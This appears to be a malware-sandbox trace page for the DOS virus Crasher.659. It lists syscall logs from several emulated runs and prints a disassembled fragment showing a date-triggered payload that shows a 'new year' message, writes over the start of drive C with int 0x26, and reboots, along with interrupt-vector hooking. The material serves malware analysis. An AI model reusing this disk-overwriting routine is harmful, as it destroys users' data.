Sample viewer

vx.netlux.org/Virus.DOS.Crasher.659

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:51:04.589258179Z 42 PC: 12beb | Get date 0x12beb: cmp dh, 0xc
0x12bee: jne 0x12c11
0x12bf0: cmp dl, 0x14
0x12bf3: jb 0x12c11
0x12bf5: mov ah, 9
0x12bf7: mov dx, 0x230
0x12bfa: int 0x21
0x12bfc: mov cx, 0x600
0x12bff: mov al, 2
0x12c01: mov bp, 0
0x12c04: mov ds, bp
0x12c06: xor bx, bx
0x12c08: mov dx, bx
0x12c0a: int 0x26
0x12c0c: ljmp 0xfff0:0xf000
0x12c11: mov ax, 0x40
0x12c14: mov es, ax
0x12c16: mov word ptr es:[0xc], 0xa4f3
0x12c1d: mov byte ptr es:[0xe], 0xcb
0x12c23: mov ax, 0xdddd
2018-12-17T22:51:04.593153356Z 221 PC: 12c28 | UNKNOWN!
2018-12-17T22:51:04.595685132Z 53 PC: 12c38 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:51:04.597461288Z 74 PC: 12c56 | Reallocate memory
2018-12-17T22:51:04.600450243Z 72 PC: 12c5f | Allocate memory
2018-12-17T22:51:04.602834633Z 37 PC: 12c99 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:51:04.605451409Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-17T22:51:04.612462239Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":1,"Month":12,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10438,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:28:05.171321865Z 42 PC: 12beb | Get date 0x12beb: cmp dh, 0xc
0x12bee: jne 0x12c11
0x12bf0: cmp dl, 0x14
0x12bf3: jb 0x12c11
0x12bf5: mov ah, 9
0x12bf7: mov dx, 0x230
0x12bfa: int 0x21
0x12bfc: mov cx, 0x600
0x12bff: mov al, 2
0x12c01: mov bp, 0
0x12c04: mov ds, bp
0x12c06: xor bx, bx
0x12c08: mov dx, bx
0x12c0a: int 0x26
0x12c0c: ljmp 0xfff0:0xf000
0x12c11: mov ax, 0x40
0x12c14: mov es, ax
0x12c16: mov word ptr es:[0xc], 0xa4f3
0x12c1d: mov byte ptr es:[0xe], 0xcb
0x12c23: mov ax, 0xdddd
2018-12-25T12:28:05.1738044Z 221 PC: 12c28 | UNKNOWN!
2018-12-25T12:28:05.17467554Z 53 PC: 12c38 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:28:05.176271026Z 74 PC: 12c56 | Reallocate memory
2018-12-25T12:28:05.180987981Z 72 PC: 12c5f | Allocate memory
2018-12-25T12:28:05.183924972Z 37 PC: 12c99 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:28:05.18691238Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T12:28:05.194192379Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":20,"Month":12,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10438,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:28:06.281506113Z 42 PC: 12beb | Get date 0x12beb: cmp dh, 0xc
0x12bee: jne 0x12c11
0x12bf0: cmp dl, 0x14
0x12bf3: jb 0x12c11
0x12bf5: mov ah, 9
0x12bf7: mov dx, 0x230
0x12bfa: int 0x21
0x12bfc: mov cx, 0x600
0x12bff: mov al, 2
0x12c01: mov bp, 0
0x12c04: mov ds, bp
0x12c06: xor bx, bx
0x12c08: mov dx, bx
0x12c0a: int 0x26
0x12c0c: ljmp 0xfff0:0xf000
0x12c11: mov ax, 0x40
0x12c14: mov es, ax
0x12c16: mov word ptr es:[0xc], 0xa4f3
0x12c1d: mov byte ptr es:[0xe], 0xcb
0x12c23: mov ax, 0xdddd
2018-12-25T12:28:06.283740682Z 9 PC: 12bfc | Display string (String= ' Dear users ! Hapy new year ! * / \ / \ /_ * _\ * ')
2018-12-25T12:28:08.540899202Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T12:28:08.543735047Z 72 PC: 8f1bd | Allocate memory
2018-12-25T12:28:08.546075866Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T12:28:08.548969073Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T12:28:08.560005523Z 66 PC: 91f95 | Move file pointer
2018-12-25T12:28:08.561768244Z 62 PC: 91fc1 | Close file
2018-12-25T12:28:08.563759444Z 75 PC: 91fe0 | Execute program
2018-12-25T12:28:08.57984878Z 98 PC: 916f1 | Get current PSP
2018-12-25T12:28:08.581240049Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-25T12:28:08.585814964Z 48 PC: c609 | Get DOS version
2018-12-25T12:28:08.590300862Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T12:28:08.592961229Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T12:28:08.595211022Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T12:28:08.601426065Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-25T12:28:08.605067313Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-25T12:28:08.610294669Z 61 PC: 91f88 | Open file (See above)
2018-12-25T12:28:08.621307735Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T12:28:08.622842739Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T12:28:08.62486552Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T12:28:08.645444857Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T12:28:08.64932543Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T12:28:08.650908649Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:28:08.658359996Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:28:08.659685969Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:28:08.660819108Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:28:08.662327951Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T12:28:08.670612884Z 62 PC: 8f8eb | Close file
2018-12-25T12:28:08.672566921Z 62 PC: 8f8f2 | Close file
2018-12-25T12:28:08.675258688Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.677083944Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.678810886Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.682080516Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.683707009Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.685435114Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.687084808Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.689096832Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.690862351Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.692947864Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.695326314Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.696963646Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.698606603Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.700847739Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.702534538Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.704189528Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.706395333Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.708141149Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.709771906Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.711928983Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.713535786Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.715166175Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.717421485Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.718879951Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.720244995Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.722440833Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.723913598Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.725324339Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.727431117Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:28:08.728844735Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T12:28:08.733820841Z 62 PC: 8f90e | Close file
2018-12-25T12:28:08.736384366Z 69 PC: 8f915 | Duplicate handle
2018-12-25T12:28:08.737868037Z 69 PC: 8f919 | Duplicate handle
2018-12-25T12:28:08.73936282Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T12:28:08.74500992Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T12:28:08.746480361Z 61 PC: 9387b | Open file (See above)
2018-12-25T12:28:08.751125892Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T12:28:08.753573768Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T12:28:08.755043286Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T12:28:08.756512858Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T12:28:08.75998345Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T12:28:08.762973902Z 72 PC: 8fa02 | Allocate memory
2018-12-25T12:28:08.768148223Z 72 PC: 8fa06 | Allocate memory
2018-12-25T12:28:08.771383431Z 73 PC: 8fa11 | Release memory
2018-12-25T12:28:08.774518697Z 73 PC: 8efea | Release memory
2018-12-25T12:28:08.776059605Z 74 PC: 8f003 | Reallocate memory
2018-12-25T12:28:08.78161817Z 72 PC: 8f054 | Allocate memory
2018-12-25T12:28:08.783229246Z 72 PC: 8f058 | Allocate memory
2018-12-25T12:28:08.784638106Z 73 PC: 8f060 | Release memory
2018-12-25T12:28:08.787195582Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T12:28:08.796513224Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:28:08.801819426Z 66 PC: 8f0ad | Move file pointer
2018-12-25T12:28:08.803759148Z 62 PC: 8f0d1 | Close file
2018-12-25T12:28:08.805633872Z 75 PC: 8f0f2 | Execute program
2018-12-25T12:28:08.830361834Z 80 PC: 12be9 | Set current PSP
2018-12-25T12:28:08.832966817Z 48 PC: 12bee | Get DOS version
2018-12-25T12:28:08.834942701Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T12:28:08.837546869Z 101 PC: 12c74 | Get extended country info
2018-12-25T12:28:08.839206084Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T12:28:08.840975113Z 74 PC: 12cdc | Reallocate memory
2018-12-25T12:28:08.842669605Z 72 PC: 1355d | Allocate memory
2018-12-25T12:28:08.845203968Z 25 PC: 13596 | Get default drive
2018-12-25T12:28:08.846884752Z 71 PC: 135ad | Get current directory
2018-12-25T12:28:08.849451422Z 59 PC: 135ba | Change current directory
2018-12-25T12:28:08.854957603Z 59 PC: 135c8 | Change current directory
2018-12-25T12:28:08.86154726Z 59 PC: 135d3 | Change current directory
2018-12-25T12:28:08.865228537Z 25 PC: 12d13 | Get default drive
2018-12-25T12:28:08.866656273Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T12:28:08.869034152Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T12:28:08.870399693Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:28:08.872780793Z 80 PC: 1301d | Set current PSP
2018-12-25T12:28:08.874854643Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T12:28:08.876372853Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:28:08.877772994Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:28:08.880097979Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T12:28:08.882041639Z 72 PC: 130ec | Allocate memory
2018-12-25T12:28:08.884308113Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T12:28:08.891193693Z 62 PC: 131ba | Close file
2018-12-25T12:28:08.898571149Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T12:28:08.899675425Z 74 PC: 1197c | Reallocate memory
2018-12-25T12:28:08.901940411Z 72 PC: 11991 | Allocate memory
2018-12-25T12:28:08.903546613Z 73 PC: 119b2 | Release memory
2018-12-25T12:28:08.904863047Z 72 PC: 119bd | Allocate memory
2018-12-25T12:28:08.907458942Z 73 PC: 119df | Release memory
2018-12-25T12:28:08.908889179Z 72 PC: 119f5 | Allocate memory
2018-12-25T12:28:08.912748813Z 72 PC: 119fd | Allocate memory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10438,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:28:06.400279897Z 42 PC: 12beb | Get date 0x12beb: cmp dh, 0xc
0x12bee: jne 0x12c11
0x12bf0: cmp dl, 0x14
0x12bf3: jb 0x12c11
0x12bf5: mov ah, 9
0x12bf7: mov dx, 0x230
0x12bfa: int 0x21
0x12bfc: mov cx, 0x600
0x12bff: mov al, 2
0x12c01: mov bp, 0
0x12c04: mov ds, bp
0x12c06: xor bx, bx
0x12c08: mov dx, bx
0x12c0a: int 0x26
0x12c0c: ljmp 0xfff0:0xf000
0x12c11: mov ax, 0x40
0x12c14: mov es, ax
0x12c16: mov word ptr es:[0xc], 0xa4f3
0x12c1d: mov byte ptr es:[0xe], 0xcb
0x12c23: mov ax, 0xdddd
2018-12-25T12:28:06.403237068Z 221 PC: 12c28 | UNKNOWN!
2018-12-25T12:28:06.404563885Z 53 PC: 12c38 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:28:06.406434197Z 74 PC: 12c56 | Reallocate memory
2018-12-25T12:28:06.409220316Z 72 PC: 12c5f | Allocate memory
2018-12-25T12:28:06.411003022Z 37 PC: 12c99 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:28:06.413414098Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T12:28:06.424354784Z 0 PC: 12a89 | Program terminate